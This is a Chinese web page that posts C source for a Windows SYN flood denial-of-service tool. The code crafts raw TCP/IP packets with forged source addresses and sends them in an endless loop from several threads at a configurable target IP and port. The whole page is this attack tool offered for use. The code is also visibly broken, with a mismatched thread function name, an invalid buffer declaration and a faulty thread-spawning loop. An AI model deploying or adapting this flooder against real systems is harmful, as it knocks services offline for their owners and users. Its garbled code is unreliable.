注册
登录
| 关键词： TCPHEADER IPHEADER unsigned sizeof psdHeader USHORT char 效验 SendBuff check |
#include "stdafx.h" #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #pragma comment(lib,"WS2_32.LIB") typedef struct tag_ip_Header//ip首部 { unsigned char h_verlen;//4位手部长度,和4位IP版本号 unsigned char tos;//8位类型服务 unsigned short total_len;//16位总长度 unsigned short ident;//16位标志 unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等) unsigned char ttl;//8位生存时间 unsigned char proto;//8位协议 unsigned short checksum;//ip手部效验和 unsigned int SourceIP;//伪造IP地址 unsigned int DestIP;//攻击的ip地址 }IPHEADER; typedef struct tag_tcp_Header { USHORT th_sport;//伪造端口 USHORT th_dport;//攻击端口 unsigned int th_seq;//32位系列号 unsigned int th_ack;//32位确认号 unsigned char th_lenres;//4位首布长度,6位保留字 unsigned char th_flag;//6位标志位 USHORT th_win;//16位窗口大小 USHORT th_sum;//16位效验和 USHORT th_urp;// }TCPHEADER; typedef struct tag_tsd_Header { unsigned long saddr;//伪造地址 unsigned long daddr;//攻击地址 char mbz;// char ptcl;//协议类型 unsigned short tcpl;//TCP长度 }TSDHEADER; DWORD WINAPI Start(void); HANDLE hFind[10]; //计算效验和 USHORT checksum(USHORT *buffer,int size) { unsigned long check=0; while(size>1) { check+=*buffer++; size -=sizeof(USHORT); } if(size) { check += *(USHORT*)buffer; } check = (check >>16) + (check & 0xffff); check += (check >>16); return (USHORT)(~check); } //攻击线程 DWORD WINAPI Statr(void) { SOCKET sock; WSADATA WSAData; SOCKADDR_IN syn_in; IPHEADER ipHeader; TCPHEADER tcpHeader; TSDHEADER psdHeader; const char *addr = "127.0.0.1";//攻击的IP地址 int port = 135;//要攻击的端口 if(WSAStartup(MAKEWORD(2,2),&WSAData)) { return false; } if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET) { return false; } BOOL flag=true; if(setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char*)&flag,sizeof(flag))==SOCKET_ERROR) { return false; } int Time =888; if(setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&Time,sizeof(Time))==SOCKET_ERROR) { return false; } syn_in.sin_family = AF_INET; syn_in.sin_port = htons(port); syn_in.sin_addr.S_un.S_addr = inet_addr(addr); while(TRUE) { //填充IP首部 ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); ipHeader.tos=0; ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=(unsigned char)GetTickCount()%514+620; ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.SourceIP=htonl(GetTickCount()*1986); ipHeader.DestIP=inet_addr(addr); //填充Tcp首部 int SourcePort =GetTickCount()*1986%514; tcpHeader.th_dport=htons(port); tcpHeader.th_sport=htons(SourcePort); tcpHeader.th_seq=htonl(0x12345678); tcpHeader.th_ack=0; tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2; tcpHeader.th_win=htons(620); tcpHeader.th_urp=0; tcpHeader.th_sum=0; //填充TCP伪首部用来计算TCP头部的效验和 psdHeader.saddr=ipHeader.SourceIP; psdHeader.daddr=ipHeader.DestIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP; psdHeader.tcpl=htons(sizeof(tcpHeader)); //计算校验和 char SendBuff[100]=; memcpy(SendBuff, &psdHeader, sizeof(psdHeader)); memcpy(SendBuff+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); tcpHeader.th_sum=checksum((USHORT *)SendBuff,sizeof(psdHeader)+sizeof(tcpHeader)); memcpy(SendBuff, &ipHeader, sizeof(ipHeader)); memcpy(SendBuff+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); //发送数据包 int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in)); if(Syn==SOCKET_ERROR) { return false; } } closesocket(sock); WSACleanup(); return true; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { //启动线程,10,大家可以自己改 for(int i=0;i<10;i++) { hFind[i-1]=createThread(NULL,0,(LPTHREAD_START_ROUTINE)Statr,0,0,NULL); i--; } return 0; } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
